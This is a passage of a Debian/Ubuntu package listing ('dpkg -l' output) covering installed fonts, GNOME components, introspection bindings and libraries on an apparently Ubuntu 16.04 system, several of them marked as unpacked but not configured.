it fontconfig 2.11.94-0ubuntu1.1 amd64 generic font configuration library - support binaries
ii fontconfig-config 2.11.94-0ubuntu1.1 all generic font configuration library - configuration
ii fonts-dejavu-core 2.35-1 all Vera font family derivate with additional characters
ii fonts-freefont-ttf 20120503-4 all Freefont Serif, Sans and Mono Truetype fonts
ii fonts-guru 2:1.2 all Meta package to install all Punjabi fonts
ii fonts-guru-extra 2.0-3 all Free fonts for Punjabi language
ii fonts-kacst 2.01+mry-12 all KACST free TrueType Arabic fonts
ii fonts-kacst-one 5.0+svn11846-7 all TrueType font designed for Arabic language
ii fonts-khmeros-core 5.0-7ubuntu1 all KhmerOS Unicode fonts for the Khmer language of Cambodia
ii fonts-lao 0.0.20060226-9 all TrueType font for Lao language
ii fonts-liberation 1.07.4-1 all Fonts with the same metrics as Times, Arial and Courier
ii fonts-lklug-sinhala 0.6-3 all Unicode Sinhala font by Lanka Linux User Group
ii fonts-lohit-guru 2.5.3-2 all Lohit TrueType font for Punjabi Language
```

```
ii fonts-nanum 20140930-1 all Nanum Korean fonts
ii fonts-noto-cjk 1:1.004+repack2-1~ubuntu1 all "No Tofu" font families with large Unicode coverage (CJK)
iU fonts-opensymbol 2:102.7+LibO5.1.6~rc2-0ubuntu1~xenial10 all OpenSymbol TrueType font
ii fonts-sil-abyssinica 1.500-1 all smart Unicode font for Ethiopian and Erythrean scripts (Amharic et al.)
ii fonts-sil-padauk 2.80-2 all smart Unicode font for languages in Myanmar
ii fonts-stix 1.1.1-4 all Scientific and Technical Information eXchange fonts
ii fonts-symbola 2.59-1 all symbolic font providing emoji characters from Unicode 7.0
ii fonts-takao-pgothic 003.02.01-9ubuntu3 all Japanese TrueType font set, Takao P Gothic Fonts
ii fonts-thai-tlwg 1:0.6.2-2.1 all Thai fonts maintained by TLWG (metapackage)
ii fonts-tibetan-machine 1.901b-5 all font for Tibetan, Dzongkha and Ladakhi (OpenType Unicode)
ii fonts-tlwg-garuda 1:0.6.2-2.1 all Thai Garuda font (dependency package)
ii fonts-tlwg-garuda-ttf 1:0.6.2-2.1 all Thai Garuda TrueType font
ii fonts-tlwg-kinnari 1:0.6.2-2.1 all Thai Kinnari font (dependency package)
ii fonts-tlwg-kinnari-ttf 1:0.6.2-2.1 all Thai Kinnari TrueType font
ii fonts-tlwg-laksaman 1:0.6.2-2.1 all Thai Laksaman font (dependency package)
ii fonts-tlwg-laksaman-ttf 1:0.6.2-2.1 all Thai Laksaman TrueType font
ii fonts-tlwg-loma 1:0.6.2-2.1 all Thai Loma font (dependency package)
ii fonts-tlwg-loma-ttf 1:0.6.2-2.1 all Thai Loma TrueType font
ii fonts-tlwg-mono 1:0.6.2-2.1 all Thai TlwgMono font (dependency package)
ii fonts-tlwg-mono-ttf 1:0.6.2-2.1 all Thai TlwgMono TrueType font
ii fonts-tlwg-norasi 1:0.6.2-2.1 all Thai Norasi font (dependency package)
ii fonts-tlwg-norasi-ttf 1:0.6.2-2.1 all Thai Norasi TrueType font
ii fonts-tlwg-purisa 1:0.6.2-2.1 all Thai Purisa font (dependency package)
ii fonts-tlwg-purisa-ttf 1:0.6.2-2.1 all Thai Purisa TrueType font
ii fonts-tlwg-sawasdee 1:0.6.2-2.1 all Thai Sawasdee font (dependency package)
ii fonts-tlwg-sawasdee-ttf 1:0.6.2-2.1 all Thai Sawasdee TrueType font
ii fonts-tlwg-typewriter 1:0.6.2-2.1 all Thai TlwgTypewriter font (dependency package)
ii fonts-tlwg-typewriter-ttf 1:0.6.2-2.1 all Thai TlwgTypewriter TrueType font
ii fonts-tlwg-typist 1:0.6.2-2.1 all Thai TlwgTypist font (dependency package)
ii fonts-tlwg-typist-ttf 1:0.6.2-2.1 all Thai TlwgTypist TrueType font
ii fonts-tlwg-typo 1:0.6.2-2.1 all Thai TlwgTypo font (dependency package)
ii fonts-tlwg-typo-ttf 1:0.6.2-2.1 all Thai TlwgTypo TrueType font
ii fonts-tlwg-umpush 1:0.6.2-2.1 all Thai Umpush font (dependency package)
ii fonts-tlwg-umpush-ttf 1:0.6.2-2.1 all Thai Umpush TrueType font
ii fonts-tlwg-waree 1:0.6.2-2.1 all Thai Waree font (dependency package)
ii fonts-tlwg-waree-ttf 1:0.6.2-2.1 all Thai Waree TrueType font
ii foomatic-db-compressed-ppds 20160212-0ubuntu1 all OpenPrinting printer support - Compressed PPDs derived from the database
ii friendly-recovery 0.2.31 all Make recovery more user-friendly
ii ftp 0.17-33 amd64 classical file transfer client
ii fuse 2.9.4-1ubuntu3.1 amd64 Filesystem in Userspace
iU fwupd 0.8.3-0ubuntu5.1 amd64 Firmware update daemon
ii fwupdate 0.5-2ubuntu5 amd64 Tools to manage UEFI firmware updates
ii fwupdate-signed 1.11.1+0.5-2ubuntu5 amd64 Linux Firmware Updater EFI signed binary
ii g++ 4:5.3.1-1ubuntu1 amd64 GNU C++ compiler
iU g++-5 5.4.0-6ubuntu1~16.04.12 amd64 GNU C++ compiler
ii gcc 4:5.3.1-1ubuntu1 amd64 GNU C compiler
iU gcc-5 5.4.0-6ubuntu1~16.04.12 amd64 GNU C compiler
ii gcc-5-base 5.4.0-6ubuntu1~16.04.12 amd64 GCC, the GNU Compiler Collection (base package)
ii gcc-6-base 6.0.1-0ubuntu1 amd64 GCC, the GNU Compiler Collection (base package)
ii gconf-service 3.2.6-3ubuntu6 amd64 GNOME configuration database system (D-Bus service)
ii gconf-service-backend 3.2.6-3ubuntu6 amd64 GNOME configuration database system (D-Bus service)
it gconf2 3.2.6-3ubuntu6 amd64 GNOME configuration database system (support tools)
ii gconf2-common 3.2.6-3ubuntu6 all GNOME configuration database system (common files)
ii gcr 3.18.0-1ubuntu1 amd64 GNOME crypto services (daemon and tools)
ii gdb 7.11.1-0ubuntu1~16.5 amd64 GNU Debugger
ii gdbserver 7.11.1-0ubuntu1~16.5 amd64 GNU Debugger (remote server)
ii gdisk 1.0.1-1build1 amd64 GPT fdisk text-mode partitioning tool
ii gedit 3.18.3-0ubuntu4 amd64 official text editor of the GNOME desktop environment
ii gedit-common 3.18.3-0ubuntu4 all official text editor of the GNOME desktop environment (support files)
ii genisoimage 9:1.1.11-3ubuntu1 amd64 Creates ISO-9660 CD-ROM filesystem images
ii geoclue 0.12.99-4ubuntu1 amd64 Geographic information framework
ii geoclue-ubuntu-geoip 1.0.2+14.04.20131125-0ubuntu2 amd64 Provide positioning for GeoClue via Ubuntu GeoIP services
ii geoip-database 20160408-1 all IP lookup command line tools that use the GeoIP library (country database)
iU gettext 0.19.7-2ubuntu3.1 amd64 GNU Internationalization utilities
iU gettext-base 0.19.7-2ubuntu3.1 amd64 GNU Internationalization utilities for the base system
iU ghostscript 9.26~dfsg+0-0ubuntu0.16.04.14 amd64 interpreter for the PostScript language and for PDF
iU ghostscript-x 9.26~dfsg+0-0ubuntu0.16.04.14 amd64 interpreter for the PostScript language and for PDF - X11 support
ii gir1.2-accounts-1.0 1.21+16.04.20160222-0ubuntu1 amd64 typelib file for libaccounts-glib0
ii gir1.2-appindicator3-0.1 12.10.1+16.04.20170215-0ubuntu1 amd64 Typelib files for libappindicator3-1.
ii gir1.2-atk-1.0 2.18.0-1 amd64 ATK accessibility toolkit (GObject introspection)
ii gir1.2-atspi-2.0 2.18.3-4ubuntu1 amd64 Assistive Technology Service Provider (GObject introspection)
ii gir1.2-dbusmenu-glib-0.4 16.04.1+16.04.20160927-0ubuntu1 amd64 typelib file for libdbusmenu-glib4
ii gir1.2-dee-1.0 1.2.7+15.04.20150304-0ubuntu2 amd64 GObject introspection data for the Dee library
ii gir1.2-freedesktop 1.46.0-3ubuntu1 amd64 Introspection data for some FreeDesktop components
ii gir1.2-gdata-0.0 0.17.4-1 amd64 GObject introspection data for the GData webservices library
iU gir1.2-gdkpixbuf-2.0 2.32.2-1ubuntu1.6 amd64 GDK Pixbuf library - GObject-Introspection
ii gir1.2-glib-2.0 1.46.0-3ubuntu1 amd64 Introspection data for GLib, GObject, Gio and GModule
ii gir1.2-gnomekeyring-1.0 3.12.0-1build1 amd64 GNOME keyring services library - introspection data
ii gir1.2-goa-1.0 3.18.3-1ubuntu2 amd64 Introspection data for GNOME Online Accounts
iU gir1.2-gst-plugins-base-1.0 1.8.3-1ubuntu0.3 amd64 GObject introspection data for the GStreamer Plugins Base library
ii gir1.2-gstreamer-1.0 1.8.3-1~ubuntu0.1 amd64 GObject introspection data for the GStreamer library
ii gir1.2-gtk-3.0 3.18.9-1ubuntu3.3 amd64 GTK+ graphical user interface library -- gir bindings
ii gir1.2-gtksource-3.0 3.18.2-1 amd64 gir files for the GTK+ syntax highlighting widget
ii gir1.2-gudev-1.0 1:230-2 amd64 libgudev-1.0 introspection data
iU gir1.2-ibus-1.0 1.5.11-1ubuntu2.4 amd64 Intelligent Input Bus - introspection data
iU gir1.2-javascriptcoregtk-4.0 2.20.5-0ubuntu0.16.04.1 amd64 JavaScript engine library from WebKitGTK+ - GObject introspection data
ii gir1.2-json-1.0 1.1.2-0ubuntu1 amd64 GLib JSON manipulation library (introspection data)
ii gir1.2-notify-0.7 0.7.6-2svn1 amd64 sends desktop notifications to a notification daemon (Introspection files)
iU gir1.2-packagekitglib-1.0 0.8.17-4ubuntu6~gcc5.4ubuntu1.5 amd64 GObject introspection data for the PackageKit GLib library
ii gir1.2-pango-1.0 1.38.1-1 amd64 Layout and rendering of internationalized text - gir bindings
ii gir1.2-peas-1.0 1.16.0-1ubuntu2 amd64 Application plugin library (introspection files)
ii gir1.2-rb-3.0 3.3-1ubuntu7 amd64 GObject introspection data for the rhythmbox music player
ii gir1.2-secret-1 0.18.4-1ubuntu2 amd64 Secret store (GObject-Introspection)
ii gir1.2-signon-1.0 1.13+16.04.20151209.1-0ubuntu1 amd64 GObject introspection data for the Signon library
iU gir1.2-soup-2.4 2.52.2-1ubuntu0.3 amd64 GObject introspection data for the libsoup HTTP library
ii gir1.2-totem-1.0 3.18.1-1ubuntu4 amd64 GObject introspection data for Totem media player
ii gir1.2-totem-plparser-1.0 3.10.6-1ubuntu1 amd64 GObject introspection data for the Totem Playlist Parser library
ii gir1.2-udisks-2.0 2.1.7-1ubuntu1 amd64 GObject based library to access udisks2 - introspection data
ii gir1.2-unity-5.0 7.1.4+16.04.20160701-0ubuntu1 amd64 GObject introspection data for the Unity library
```

```
ii gir1.2-vte-2.91 0.42.5-1ubuntu1 amd64 GObject introspection data for the VTE library
iU gir1.2-webkit2-4.0 2.20.5-0ubuntu0.16.04.1 amd64 Web content engine library for GTK+ - GObject introspection data
ii gir1.2-wnck-3.0 3.14.1-2 amd64 GObject introspection data for the WNCK library
ii gkbd-capplet 3.6.0-1ubuntu2 amd64 GNOME control center tools for libgnomekbd
iU glib-networking 2.48.2-1~ubuntu16.04.2 amd64 network-related giomodules for GLib
iU glib-networking-common 2.48.2-1~ubuntu16.04.2 all network-related giomodules for GLib - data files
iU glib-networking-services 2.48.2-1~ubuntu16.04.2 amd64 network-related giomodules for GLib - D-Bus services
ii gnome-accessibility-themes 3.18.0-2ubuntu1 all Accessibility themes for the GNOME desktop
ii gnome-bluetooth 3.18.2-1ubuntu2 amd64 GNOME Bluetooth tools
ii gnome-calculator 1:3.18.3-0ubuntu1.16.04.1 amd64 GNOME desktop calculator
ii gnome-calendar 3.20.4-0ubuntu0.1 amd64 Calendar application for GNOME
ii gnome-desktop3-data 3.18.2-1ubuntu1 all Common files for GNOME desktop apps
ii gnome-disk-utility 3.18.3.1-1ubuntu1 amd64 manage and configure disk drives and media
ii gnome-font-viewer 3.16.2-1ubuntu1 amd64 font viewer for GNOME
iU gnome-keyring 3.18.3-0ubuntu2.1 amd64 GNOME keyring services (daemon and tools)
ii gnome-mahjongg 1:3.18.0-1 amd64 classic Eastern tile game for GNOME
it gnome-menus 3.13.3-6ubuntu3.1 amd64 GNOME implementation of the freedesktop menu specification
ii gnome-mines 1:3.18.2-2 amd64 popular minesweeper puzzle game for GNOME
ii gnome-orca 3.18.2-1ubuntu3 all Scriptable screen reader
ii gnome-power-manager 3.18.0-1ubuntu1 amd64 power management tool for the GNOME desktop
ii gnome-screensaver 3.6.1-7ubuntu4 amd64 GNOME screen saver and locker
ii gnome-screenshot 3.18.0-1ubuntu2 amd64 screenshot application for GNOME
ii gnome-session-bin 3.18.1.2-1ubuntu1.16.04.2 amd64 GNOME Session Manager - Minimal runtime
ii gnome-session-canberra 0.30-2.1ubuntu1 amd64 GNOME session log in and log out sound events
ii gnome-session-common 3.18.1.2-1ubuntu1.16.04.2 all GNOME Session Manager - common files
ii gnome-settings-daemon-schemas 3.18.2-0ubuntu3.1 all gnome-settings-daemon schemas
ii gnome-software 3.20.5-0ubuntu0.16.04.6 amd64 Software Center for GNOME
ii gnome-software-common 3.20.5-0ubuntu0.16.04.6 all Software Center for GNOME (common files)
ii gnome-sudoku 1:3.18.4-0ubuntu2 amd64 Sudoku puzzle game for GNOME
ii gnome-system-log 3.9.90-4 amd64 system log viewer for GNOME
ii gnome-system-monitor 3.18.2-1ubuntu1 amd64 Process viewer and system resource monitor for GNOME
ii gnome-terminal 3.18.3-1ubuntu1 amd64 GNOME terminal emulator application
ii gnome-terminal-data 3.18.3-1ubuntu1 all Data files for the GNOME terminal emulator
ii gnome-user-guide 3.18.1-1 all GNOME user's guide
ii gnome-user-share 3.14.2-2ubuntu4 amd64 User level public file sharing via WebDAV or ObexFTP
ii gnome-video-effects 0.4.1-3ubuntu1 all Collection of GStreamer effects
ii gnupg 1.4.20-1ubuntu3.3 amd64 GNU privacy guard - a free PGP replacement
ii gnupg-agent 2.1.11-6ubuntu2.1 amd64 GNU privacy guard - cryptographic agent
ii gnupg2 2.1.11-6ubuntu2.1 amd64 GNU privacy guard - a free PGP replacement (new v2.x)
ii gpgv 1.4.20-1ubuntu3.3 amd64 GNU privacy guard - signature verification tool
ii grep 2.25-1~16.04.1 amd64 GNU grep, egrep and fgrep
ii grilo-plugins-0.2-base 0.2.17-0ubuntu2 amd64 Framework for discovering and browsing media - Base Plugins
ii groff-base 1.22.3-7 amd64 GNU troff text-formatting system (base system components)
iU grub-common 2.02~beta2-36ubuntu3.27 amd64 GRand Unified Bootloader (common files)
ii grub-gfxpayload-lists 0.7 amd64 GRUB gfxpayload blacklist
iU grub-pc 2.02~beta2-36ubuntu3.27 amd64 GRand Unified Bootloader, version 2 (PC/BIOS version)
iU grub-pc-bin 2.02~beta2-36ubuntu3.27 amd64 GRand Unified Bootloader, version 2 (PC/BIOS binaries)
iU grub2-common 2.02~beta2-36ubuntu3.27 amd64 GRand Unified Bootloader (common files for version 2)
ii gsettings-desktop-schemas 3.18.1-1ubuntu1 all GSettings desktop-wide schemas
ii gsettings-ubuntu-schemas 0.0.5+16.04.20160307-0ubuntu1 all GSettings deskop-wide schemas for Ubuntu
ii gsfonts 1:8.11+urwcyr1.0.7~pre44-4.2ubuntu1 all Fonts for the Ghostscript interpreter(s)
iU gstreamer1.0-alsa 1.8.3-1ubuntu0.3 amd64 GStreamer plugin for ALSA
ii gstreamer1.0-clutter-3.0 3.0.18-1 amd64 Clutter PLugin for GStreamer 1.0
iU gstreamer1.0-plugins-base 1.8.3-1ubuntu0.3 amd64 GStreamer plugins from the "base" set
iU gstreamer1.0-plugins-base-apps 1.8.3-1ubuntu0.3 amd64 GStreamer helper programs from the "base" set
iU gstreamer1.0-plugins-good 1.8.3-1ubuntu0.5 amd64 GStreamer plugins from the "good" set
iU gstreamer1.0-pulseaudio 1.8.3-1ubuntu0.5 amd64 GStreamer plugin for PulseAudio
ii gstreamer1.0-tools 1.8.3-1~ubuntu0.1 amd64 Tools for use with GStreamer
iU gstreamer1.0-x 1.8.3-1ubuntu0.3 amd64 GStreamer plugins for X11 and Pango
ii gtk2-engines-murrine 0.98.2-0ubuntu2.2 amd64 cairo-based gtk+-2.0 theme engine
ii gucharmap 1:3.18.2-1ubuntu1 amd64 Unicode character picker and font browser
ii guile-2.0-libs 2.0.11+1-10 amd64 Core Guile libraries
iU gvfs 1.28.2-1ubuntu1~16.04.3 amd64 userspace virtual filesystem - GIO module
iU gvfs-backends 1.28.2-1ubuntu1~16.04.3 amd64 userspace virtual filesystem - backends
iU gvfs-bin 1.28.2-1ubuntu1~16.04.3 amd64 userspace virtual filesystem - binaries
iU gvfs-common 1.28.2-1ubuntu1~16.04.3 all userspace virtual filesystem - common data files
iU gvfs-daemons 1.28.2-1ubuntu1~16.04.3 amd64 userspace virtual filesystem - servers
iU gvfs-fuse 1.28.2-1ubuntu1~16.04.3 amd64 userspace virtual filesystem - fuse server
iU gvfs-libs 1.28.2-1ubuntu1~16.04.3 amd64 userspace virtual filesystem - private libraries
ii gzip 1.6-4ubuntu1 amd64 GNU compression utilities
ii hardening-includes 2.7ubuntu2 all Makefile for enabling compiler flags for security hardening
ii hdparm 9.48+ds-1 amd64 tune hard disk parameters for high performance
it hicolor-icon-theme 0.15-0ubuntu1 all default fallback theme for FreeDesktop.org icon themes
ii hostname 3.16ubuntu2 amd64 utility to set/show the host name or domain name
ii hplip 3.16.3+repack0-1 amd64 HP Linux Printing and Imaging System (HPLIP)
ii hplip-data 3.16.3+repack0-1 all HP Linux Printing and Imaging - data files
ii hud 14.10+16.04.20160415-0ubuntu1 amd64 Backend for the Unity HUD
ii humanity-icon-theme 0.6.10.1 all Humanity Icon theme
ii hunspell-en-us 20070829-6ubuntu3 all English_american dictionary for hunspell
ii hwdata 0.267-1 all hardware identification / configuration data
ii hyphen-en-us 2.8.8-2ubuntu1 all US English hyphenation patterns for LibreOffice/OpenOffice.org
iU ibus 1.5.11-1ubuntu2.4 amd64 Intelligent Input Bus - core
iU ibus-gtk 1.5.11-1ubuntu2.4 amd64 Intelligent Input Bus - GTK+2 support
iU ibus-gtk3 1.5.11-1ubuntu2.4 amd64 Intelligent Input Bus - GTK+3 support
ii ibus-table 1.9.1-3ubuntu2 all table engine for IBus
ii ifupdown 0.8.10ubuntu1.2 amd64 high level tools to configure network interfaces
ii im-config 0.29-1ubuntu12.4 all Input method configuration framework
iU imagemagick 8:6.8.9.9-7ubuntu5.16 amd64 image manipulation programs -- binaries
iU imagemagick-6.q16 8:6.8.9.9-7ubuntu5.16 amd64 image manipulation programs -- quantum depth Q16
iU imagemagick-common 8:6.8.9.9-7ubuntu5.16 all image manipulation programs -- infrastructure
ii indicator-application 12.10.1+16.04.20170120-0ubuntu1 amd64 Application Indicators
ii indicator-appmenu 15.02.0+16.04.20151104-0ubuntu1 amd64 Indicator for application menus.
ii indicator-bluetooth 0.0.6+16.04.20160526-0ubuntu1 amd64 System bluetooth indicator.
ii indicator-datetime 15.10+16.04.20160406-0ubuntu1 amd64 Simple clock
ii indicator-keyboard 0.0.0+16.04.20151125-0ubuntu1 amd64 Keyboard indicator
ii indicator-messages 13.10.1+15.10.20150505-0ubuntu1 amd64 indicator that collects messages that need a response
ii indicator-power 12.10.6+16.04.20160105-0ubuntu1 amd64 Indicator showing power state.
ii indicator-printers 0.1.7+15.04.20150220-0ubuntu2 amd64 indicator showing active print jobs
ii indicator-session 12.10.5+16.04.20160412-0ubuntu1 amd64 indicator showing session management, status and user switching
```

```
ii indicator-sound 12.10.2+16.04.20160406-0ubuntu1 amd64 System sound indicator.
ii info 6.1.0.dfsg.1-5 amd64 Standalone GNU Info documentation browser
ii init 1.29ubuntu4 amd64 System-V-like init utilities - metapackage
ii init-system-helpers 1.29ubuntu4 all helper tools for all init systems
iU initramfs-tools 0.122ubuntu8.14 all generic modular initramfs generator (automation)
iU initramfs-tools-bin 0.122ubuntu8.14 amd64 binaries used by initramfs-tools
iU initramfs-tools-core 0.122ubuntu8.14 all generic modular initramfs generator (core tools)
ii initscripts 2.88dsf-59.3ubuntu2 amd64 scripts for initializing and shutting down the system
ii inputattach 1:1.4.9-1 amd64 utility to connect serial-attached peripherals to the input subsystem
ii insserv 1.14.0-5ubuntu3 amd64 boot sequence organizer using LSB init.d script dependency information
it install-info 6.1.0.dfsg.1-5 amd64 Manage installed documentation in info format
ii intel-gpu-tools 1.14-1 amd64 tools for debugging the Intel graphics driver
iU intel-microcode 3.20210216.0ubuntu0.16.04.1 amd64 Processor microcode firmware for Intel CPUs
ii intltool-debian 0.35.0+20060710.4 all Help i18n of RFC822 compliant config files
ii ippusbxd 1.23-1 amd64 Daemon for IPP USB printer support
ii iproute2 4.3.0-1ubuntu3.16.04.2 amd64 networking and traffic control tools
ii iptables 1.6.0-2ubuntu3 amd64 administration tools for packet filtering and NAT
ii iputils-arping 3:20121221-5ubuntu2 amd64 Tool to send ICMP echo requests to an ARP address
ii iputils-ping 3:20121221-5ubuntu2 amd64 Tools to test the reachability of network hosts
ii iputils-tracepath 3:20121221-5ubuntu2 amd64 Tools to trace the network path to a remote host
ii irqbalance 1.1.0-2ubuntu1 amd64 Daemon to balance interrupts for SMP systems
iU isc-dhcp-client 4.3.3-5ubuntu12.9 amd64 DHCP client for automatically obtaining an IP address
iU isc-dhcp-common 4.3.3-5ubuntu12.9 amd64 common files used by all of the isc-dhcp packages
ii iso-codes 3.65-1 all ISO language, territory, currency, script codes and their translations
iU iucode-tool 1.5.1-1ubuntu0.1 amd64 Intel processor microcode tool
ii iw 3.17-1 amd64 tool for configuring Linux wireless devices
ii jayatana 2.7-0ubuntu5 amd64 Java Native Library for ayatana project
ii kbd 1.15.5-1ubuntu5 amd64 Linux console font and keytable utilities
ii kerneloops-daemon 0.12+git20140509-2ubuntu1 amd64 kernel oops tracker
ii keyboard-configuration 1.108ubuntu15.3 all system-wide keyboard preferences
ii klibc-utils 2.0.4-8ubuntu1.16.04.3 amd64 small utilities built with klibc for early boot
ii kmod 22-1ubuntu5 amd64 tools for managing Linux kernel modules
iU krb5-locales 1.13.2+dfsg-5ubuntu2.2 all Internationalization support for MIT Kerberos
ii language-pack-en 1:16.04+20161009 all translation updates for language English
ii language-pack-en-base 1:16.04+20160627 all translations for language English
ii language-pack-gnome-en 1:16.04+20161009 all GNOME translation updates for language English
ii language-pack-gnome-en-base 1:16.04+20160627 all GNOME translations for language English
ii language-selector-common 0.165.4 all Language selector for Ubuntu
ii language-selector-gnome 0.165.4 all Language selector for Ubuntu
ii laptop-detect 0.13.7ubuntu2 amd64 attempt to detect a laptop
ii less 481-2.1ubuntu0.2 amd64 pager program similar to more
ii liba11y-profile-manager-0.1-0 0.1.10-0ubuntu3 amd64 Accessibility profile manager - Shared library
ii liba11y-profile-manager-data 0.1.10-0ubuntu3 all Accessibility Profile Manager - GSettings data
ii libaa1 1.4p5-44build1 amd64 ASCII art library
ii libabw-0.1-1v5 0.1.1-2ubuntu2 amd64 library for reading and writing AbiWord(tm) documents
ii libaccount-plugin-1.0-0 0.1.8+16.04.20160201-0ubuntu1 amd64 libaccount-plugin for Unity Control Center
ii libaccount-plugin-generic-oauth 0.12+16.04.20160126-0ubuntu1 amd64 GNOME Control Center account plugin for single signon -
generic OAuth
ii libaccount-plugin-google 0.12+16.04.20160126-0ubuntu1 amd64 GNOME Control Center account plugin for single signon - Google Auth
ii libaccounts-glib0 1.21+16.04.20160222-0ubuntu1 amd64 library for single signon
ii libaccounts-qt5-1 1.14+16.04.20151106.1-0ubuntu1 amd64 QT library for single sign on
iU libaccountsservice0 0.6.40-2ubuntu11.6 amd64 query and manipulate user account information - shared libraries
ii libacl1 2.2.52-3 amd64 Access control list shared library
ii libaio1 0.3.110-2 amd64 Linux kernel AIO access library - shared library
ii libalgorithm-diff-perl 1.19.03-1 all module to find differences between files
ii libalgorithm-diff-xs-perl 0.04-4build1 amd64 module to find differences between files (XS accelerated)
ii libalgorithm-merge-perl 0.08-3 all Perl module for three-way merge of textual data
ii libandroid-properties1 0.1.0+git20151016+6d424c9-0ubuntu7 amd64 Library to provide access to get, set and list Android properties
ii libao-common 1.1.0-3ubuntu1 all Cross Platform Audio Output Library (Common files)
ii libao4 1.1.0-3ubuntu1 amd64 Cross Platform Audio Output Library
iU libapache2-mod-php7.0 7.0.33-0ubuntu0.16.04.16 amd64 server-side, HTML-embedded scripting language (Apache 2 module)
iU libapparmor-perl 2.10.95-0ubuntu2.12 amd64 AppArmor library Perl bindings
ii libapparmor1 2.10.95-0ubuntu2.12 amd64 changehat AppArmor library
ii libappindicator3-1 12.10.1+16.04.20170215-0ubuntu1 amd64 Application Indicators
ii libappstream-glib8 0.5.13-1ubuntu5 amd64 GNOME library to access AppStream services
ii libappstream3 0.9.4-1ubuntu3 amd64 Library to access AppStream services
ii libapr1 1.5.2-3 amd64 Apache Portable Runtime Library
ii libaprutil1 1.5.4-1build1 amd64 Apache Portable Runtime Utility Library
ii libaprutil1-dbd-sqlite3 1.5.4-1build1 amd64 Apache Portable Runtime Utility Library - SQLite3 Driver
ii libaprutil1-ldap 1.5.4-1build1 amd64 Apache Portable Runtime Utility Library - LDAP Driver
iU libapt-inst2.0 1.2.32ubuntu0.2 amd64 deb package format runtime library
ii libapt-pkg-perl 0.1.29build7 amd64 Perl interface to libapt-pkg
ii libapt-pkg5.0 1.2.32ubuntu0.2 amd64 package management runtime library
iU libarchive-zip-perl 1.56-2ubuntu0.1 all Perl module for manipulation of ZIP archives
iU libarchive13 3.1.2-11ubuntu0.16.04.8 amd64 Multi-format archive and compression library (shared library)
ii libart-2.0-2 2.3.21-2 amd64 Library of functions for 2D graphics - runtime files
iU libasan2 5.4.0-6ubuntu1~16.04.12 amd64 AddressSanitizer -- a fast memory error detector
ii libasn1-8-heimdal 1.7~git20150920+dfsg-4ubuntu1.16.04.1 amd64 Heimdal Kerberos - ASN.1 library
ii libasound2 1.1.0-0ubuntu1 amd64 shared library for ALSA applications
ii libasound2-data 1.1.0-0ubuntu1 all Configuration files and profiles for ALSA drivers
ii libasound2-plugins 1.1.0-0ubuntu1 amd64 ALSA library additional plugins
iU libaspell15 0.60.7~20110707-3ubuntu0.1 amd64 GNU Aspell spell-checker runtime library
iU libasprintf-dev 0.19.7-2ubuntu3.1 amd64 GNU Internationalization library development files
iU libasprintf0v5 0.19.7-2ubuntu3.1 amd64 GNU library to use fprintf and friends in C++
ii libassuan0 2.4.2-2 amd64 IPC library for the GnuPG components
ii libasyncns0 0.8-5build1 amd64 Asynchronous name service query library
ii libatasmart4 0.19-3 amd64 ATA S.M.A.R.T. reading and parsing library
ii libatk-adaptor 2.18.1-2ubuntu1 amd64 AT-SPI 2 toolkit bridge
ii libatk-bridge2.0-0 2.18.1-2ubuntu1 amd64 AT-SPI 2 toolkit bridge - shared library
ii libatk1.0-0 2.18.0-1 amd64 ATK accessibility toolkit
ii libatk1.0-data 2.18.0-1 all Common files for the ATK accessibility toolkit
ii libatkmm-1.6-1v5 2.24.2-1 amd64 C++ wrappers for ATK accessibility toolkit (shared libraries)
ii libatm1 1:2.5.1-1.5 amd64 shared library for ATM (Asynchronous Transfer Mode)
iU libatomic1 5.4.0-6ubuntu1~16.04.12 amd64 support library providing __atomic built-in functions
ii libatspi2.0-0 2.18.3-4ubuntu1 amd64 Assistive Technology Service Provider Interface - shared library
ii libattr1 1:2.4.47-2 amd64 Extended attribute shared library
ii libaudio2 1.9.4-4 amd64 Network Audio System - shared libraries
ii libaudit-common 1:2.4.5-1ubuntu2 all Dynamic library for security auditing - common files
ii libaudit1 1:2.4.5-1ubuntu2 amd64 Dynamic library for security auditing
```

```
ii libauthen-sasl-perl 2.1600-1 all Authen::SASL - SASL Authentication framework
iU libavahi-client3 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi client library
iU libavahi-common-data 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi common data files
iU libavahi-common3 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi common library
iU libavahi-core7 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi's embeddable mDNS/DNS-SD library
iU libavahi-glib1 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi GLib integration library
iU libavahi-ui-gtk3-0 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi GTK+ User interface library for GTK3
ii libavc1394-0 0.5.4-4 amd64 control IEEE 1394 audio/video devices
ii libbabeltrace-ctf1 1.3.2-1 amd64 Common Trace Format (CTF) library
ii libbabeltrace1 1.3.2-1 amd64 Babeltrace conversion libraries
ii libbamf3-2 0.5.3~bzr0+16.04.20160824-0ubuntu1 amd64 Window matching library - shared library
iU libbind9-140 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 BIND9 Shared Library used by BIND
ii libblkid1 2.27.1-6ubuntu3.3 amd64 block device ID library
iU libbluetooth3 5.37-0ubuntu5.3 amd64 Library to use the BlueZ Linux Bluetooth stack
ii libboost-date-time1.58.0 1.58.0+dfsg-5ubuntu3.1 amd64 set of date-time libraries based on generic programming concepts
ii libboost-filesystem1.58.0 1.58.0+dfsg-5ubuntu3.1 amd64 filesystem operations (portable paths, iteration over directories, etc) in
C++
ii libboost-iostreams1.58.0 1.58.0+dfsg-5ubuntu3.1 amd64 Boost.Iostreams Library
ii libboost-system1.58.0 1.58.0+dfsg-5ubuntu3.1 amd64 Operating system (e.g. diagnostics support) library
ii libbrlapi0.6 5.3.1-2ubuntu2.1 amd64 braille display access via BRLTTY - shared library
iU libbsd0 0.8.2-1ubuntu0.1 amd64 utility functions from BSD systems - shared library
ii libbz2-1.0 1.0.6-8ubuntu0.2 amd64 high-quality block-sorting file compressor library - runtime
it libc-bin 2.23-0ubuntu11.3 amd64 GNU C Library: Binaries
iU libc-dev-bin 2.23-0ubuntu11.3 amd64 GNU C Library: Development binaries
ii libc6 2.23-0ubuntu11.3 amd64 GNU C Library: Shared libraries
iU libc6-dbg 2.23-0ubuntu11.3 amd64 GNU C Library: detached debugging symbols
iU libc6-dev 2.23-0ubuntu11.3 amd64 GNU C Library: Development Libraries and Header Files
